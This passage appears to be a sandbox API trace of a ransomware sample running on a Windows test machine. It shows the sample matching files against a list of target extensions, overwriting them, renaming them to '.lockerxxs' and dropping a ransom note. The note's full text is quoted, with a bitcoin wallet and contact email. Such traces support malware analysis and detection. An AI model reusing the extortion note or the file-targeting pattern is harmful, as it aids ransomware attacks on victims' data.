[0089.876] ReadFile (in: hFile=0x88, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x13ccf, lpOverlapped=0x0) returned 1 [0089.878] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx") returned="Sk4mjCI.xlsx" [0089.879] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.879] WriteFile (in: hFile=0x88, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x13ccf, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x13ccf, lpOverlapped=0x0) returned 1 [0089.879] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.879] CloseHandle (hObject=0x88) returned 1 [0089.880] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sk4mjci.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sk4mjci.xlsx.lockerxxs")) returned 1 [0089.881] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5129b40, ftCreationTime.dwHighDateTime=0x1d5c8e3, ftLastAccessTime.dwLowDateTime=0xe909bc80, ftLastAccessTime.dwHighDateTime=0x1d5c1d2, ftLastWriteTime.dwLowDateTime=0xe909bc80, ftLastWriteTime.dwHighDateTime=0x1d5c1d2, nFileSizeHigh=0x0, nFileSizeLow=0xbdec, dwReserved0=0x36000335, dwReserved1=0x4e00c4, cFileName="StCQlRsdl1bKaIJ.pptx", cAlternateFileName="STCQLR~1.PPT")) returned 1 [0089.881] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0089.882] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="StCQlRsdl1bKaIJ.pptx") returned -1 [0089.882] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="StCQlRsdl1bKaIJ.pptx") returned -1 [0089.882] lstrcmpiA (lpString1="", lpString2="StCQlRsdl1bKaIJ.pptx") returned -1 [0089.882] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx") returned="Sk4mjCI.xlsx" [0089.882] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0089.882] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="" [0089.882] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt" [0089.882] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\how to decrypt files.txt")) returned 0x20 [0089.882] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="StCQlRsdl1bKaIJ.pptx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx" [0089.882] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.ems") returned 0 [0089.882] lstrlenA (lpString="*.ems") returned 5 [0089.882] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.db") returned 0 [0089.882] lstrlenA (lpString="*.db") returned 4 [0089.882] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.dbf") returned 0 [0089.882] lstrlenA (lpString="*.dbf") returned 5 [0089.882] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.myox") returned 0 [0089.882] lstrlenA (lpString="*.myox") returned 6 [0089.883] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.myo") returned 0 [0089.883] lstrlenA (lpString="*.myo") returned 5 [0089.883] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.qbw") returned 0 [0089.883] lstrlenA (lpString="*.qbw") returned 5 [0089.883] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.qbb") returned 0 [0089.883] lstrlenA (lpString="*.qbb") returned 5 [0089.883] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.qbm") returned 0 [0089.883] lstrlenA (lpString="*.qbm") returned 5 [0089.883] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.qbo") returned 0 [0089.883] lstrlenA (lpString="*.qbo") returned 5 [0089.883] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.qbx") returned 0 [0089.883] lstrlenA (lpString="*.qbx") returned 5 [0089.883] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.qba") returned 0 [0089.883] lstrlenA (lpString="*.qba") returned 5 [0089.883] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.qby") returned 0 [0089.883] lstrlenA (lpString="*.qby") returned 5 [0089.883] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.qbj") returned 0 [0089.883] lstrlenA (lpString="*.qbj") returned 5 [0089.884] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.ofx") returned 0 [0089.884] lstrlenA (lpString="*.ofx") returned 5 [0089.884] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.qif") returned 0 [0089.884] lstrlenA (lpString="*.qif") returned 5 [0089.884] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.mye") returned 0 [0089.884] lstrlenA (lpString="*.mye") returned 5 [0089.884] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.mbox") returned 0 [0089.884] lstrlenA (lpString="*.mbox") returned 6 [0089.884] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.eml") returned 0 [0089.884] lstrlenA (lpString="*.eml") returned 5 [0089.884] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.pst") returned 0 [0089.884] lstrlenA (lpString="*.pst") returned 5 [0089.885] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.ost") returned 0 [0089.885] lstrlenA (lpString="*.ost") returned 5 [0089.885] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.idx") returned 0 [0089.885] lstrlenA (lpString="*.idx") returned 5 [0089.885] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.dbx") returned 0 [0089.885] lstrlenA (lpString="*.dbx") returned 5 [0089.885] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.sql") returned 0 [0089.885] lstrlenA (lpString="*.sql") returned 5 [0089.885] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.mdb") returned 0 [0089.885] lstrlenA (lpString="*.mdb") returned 5 [0089.885] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.fdb") returned 0 [0089.885] lstrlenA (lpString="*.fdb") returned 5 [0089.885] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.wab") returned 0 [0089.885] lstrlenA (lpString="*.wab") returned 5 [0089.885] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.dat") returned 0 [0089.885] lstrlenA (lpString="*.dat") returned 5 [0089.885] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.txt") returned 0 [0089.885] lstrlenA (lpString="*.txt") returned 5 [0089.885] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.jpeg") returned 0 [0089.885] lstrlenA (lpString="*.jpeg") returned 6 [0089.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.jpg") returned 0 [0089.886] lstrlenA (lpString="*.jpg") returned 5 [0089.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.png") returned 0 [0089.886] lstrlenA (lpString="*.png") returned 5 [0089.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.php") returned 0 [0089.886] lstrlenA (lpString="*.php") returned 5 [0089.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.cs") returned 0 [0089.886] lstrlenA (lpString="*.cs") returned 4 [0089.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.cpp") returned 0 [0089.886] lstrlenA (lpString="*.cpp") returned 5 [0089.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.rar") returned 0 [0089.886] lstrlenA (lpString="*.rar") returned 5 [0089.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.zip") returned 0 [0089.886] lstrlenA (lpString="*.zip") returned 5 [0089.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.html") returned 0 [0089.886] lstrlenA (lpString="*.html") returned 6 [0089.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.htm") returned 0 [0089.886] lstrlenA (lpString="*.htm") returned 5 [0089.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.xlsx") returned 0 [0089.887] lstrlenA (lpString="*.xlsx") returned 6 [0089.887] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.xls") returned 0 [0089.887] lstrlenA (lpString="*.xls") returned 5 [0089.887] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.mp4") returned 0 [0089.887] lstrlenA (lpString="*.mp4") returned 5 [0089.887] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.ppt") returned 0 [0089.887] lstrlenA (lpString="*.ppt") returned 5 [0089.887] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", pszSpec="*.pptx") returned 1 [0089.887] lstrlenA (lpString="*.pptx") returned 6 [0089.887] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx" [0089.887] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx" [0089.887] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx." [0089.887] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx.lockerxxs" [0089.887] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\stcqlrsdl1bkaij.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0089.888] GetFileSize (in: hFile=0x88, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbdec [0089.888] GetFileTime (in: hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xc5129b40, dwHighDateTime=0x1d5c8e3), lpLastAccessTime=0x407536*(dwLowDateTime=0xe909bc80, dwHighDateTime=0x1d5c1d2), lpLastWriteTime=0x40753e*(dwLowDateTime=0xe909bc80, dwHighDateTime=0x1d5c1d2)) returned 1 [0089.888] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.888] ReadFile (in: hFile=0x88, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xbdc6, lpOverlapped=0x0) returned 1 [0089.890] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx") returned="StCQlRsdl1bKaIJ.pptx" [0089.890] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.890] WriteFile (in: hFile=0x88, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xbdc6, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xbdc6, lpOverlapped=0x0) returned 1 [0089.890] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.890] CloseHandle (hObject=0x88) returned 1 [0089.891] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\stcqlrsdl1bkaij.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\stcqlrsdl1bkaij.pptx.lockerxxs")) returned 1 [0089.892] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6cbe1380, ftCreationTime.dwHighDateTime=0x1d5e80e, ftLastAccessTime.dwLowDateTime=0x1c15a810, ftLastAccessTime.dwHighDateTime=0x1d5e4e6, ftLastWriteTime.dwLowDateTime=0x1c15a810, ftLastWriteTime.dwHighDateTime=0x1d5e4e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x32000331, dwReserved1=0x4e00c4, cFileName="xAj0Z4ZNL", cAlternateFileName="XAJ0Z4~1")) returned 1 [0089.892] lstrcmpA (lpString1=".", lpString2="xAj0Z4ZNL") returned -1 [0089.892] lstrcmpA (lpString1="..", lpString2="xAj0Z4ZNL") returned -1 [0089.892] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\StCQlRsdl1bKaIJ.pptx") returned="StCQlRsdl1bKaIJ.pptx" [0089.892] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="xAj0Z4ZNL" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL" [0089.892] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL") returned 49 [0089.892] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6cbe1380, ftCreationTime.dwHighDateTime=0x1d5e80e, ftLastAccessTime.dwLowDateTime=0x1c15a810, ftLastAccessTime.dwHighDateTime=0x1d5e4e6, ftLastWriteTime.dwLowDateTime=0x1c15a810, ftLastWriteTime.dwHighDateTime=0x1d5e4e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502518 [0089.892] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0089.892] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6cbe1380, ftCreationTime.dwHighDateTime=0x1d5e80e, ftLastAccessTime.dwLowDateTime=0x1c15a810, ftLastAccessTime.dwHighDateTime=0x1d5e4e6, ftLastWriteTime.dwLowDateTime=0x1c15a810, ftLastWriteTime.dwHighDateTime=0x1d5e4e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0089.893] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0089.893] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0089.893] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c4260, ftCreationTime.dwHighDateTime=0x1d5e61f, ftLastAccessTime.dwLowDateTime=0xd947710, ftLastAccessTime.dwHighDateTime=0x1d5e547, ftLastWriteTime.dwLowDateTime=0xd947710, ftLastWriteTime.dwHighDateTime=0x1d5e547, nFileSizeHigh=0x0, nFileSizeLow=0xb28, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a83cCiwxmWUgC_yDOAS.ppt", cAlternateFileName="A83CCI~1.PPT")) returned 1 [0089.893] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0089.893] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="a83cCiwxmWUgC_yDOAS.ppt") returned 1 [0089.893] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="a83cCiwxmWUgC_yDOAS.ppt") returned 1 [0089.893] lstrcmpiA (lpString1="", lpString2="a83cCiwxmWUgC_yDOAS.ppt") returned -1 [0089.893] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\*.*") returned="*.*" [0089.893] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\" [0089.893] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\") returned="" [0089.893] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\HOW TO DECRYPT FILES.txt" [0089.893] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xaj0z4znl\\how to decrypt files.txt")) returned 0xffffffff [0089.893] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xaj0z4znl\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0089.898] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0089.898] WriteFile (in: hFile=0x8c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0089.900] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0089.900] CloseHandle (hObject=0x8c) returned 1 [0089.900] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\", lpString2="a83cCiwxmWUgC_yDOAS.ppt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt" [0089.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.ems") returned 0 [0089.900] lstrlenA (lpString="*.ems") returned 5 [0089.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.db") returned 0 [0089.900] lstrlenA (lpString="*.db") returned 4 [0089.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.dbf") returned 0 [0089.900] lstrlenA (lpString="*.dbf") returned 5 [0089.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.myox") returned 0 [0089.900] lstrlenA (lpString="*.myox") returned 6 [0089.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.myo") returned 0 [0089.901] lstrlenA (lpString="*.myo") returned 5 [0089.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.qbw") returned 0 [0089.901] lstrlenA (lpString="*.qbw") returned 5 [0089.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.qbb") returned 0 [0089.901] lstrlenA (lpString="*.qbb") returned 5 [0089.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.qbm") returned 0 [0089.901] lstrlenA (lpString="*.qbm") returned 5 [0089.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\a83cCiwxmWUgC_yDOAS.ppt", pszSpec="*.qbo") returned 0 [0089.901] lstrlenA (lpString="*.qbo") returned 5 [0089.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 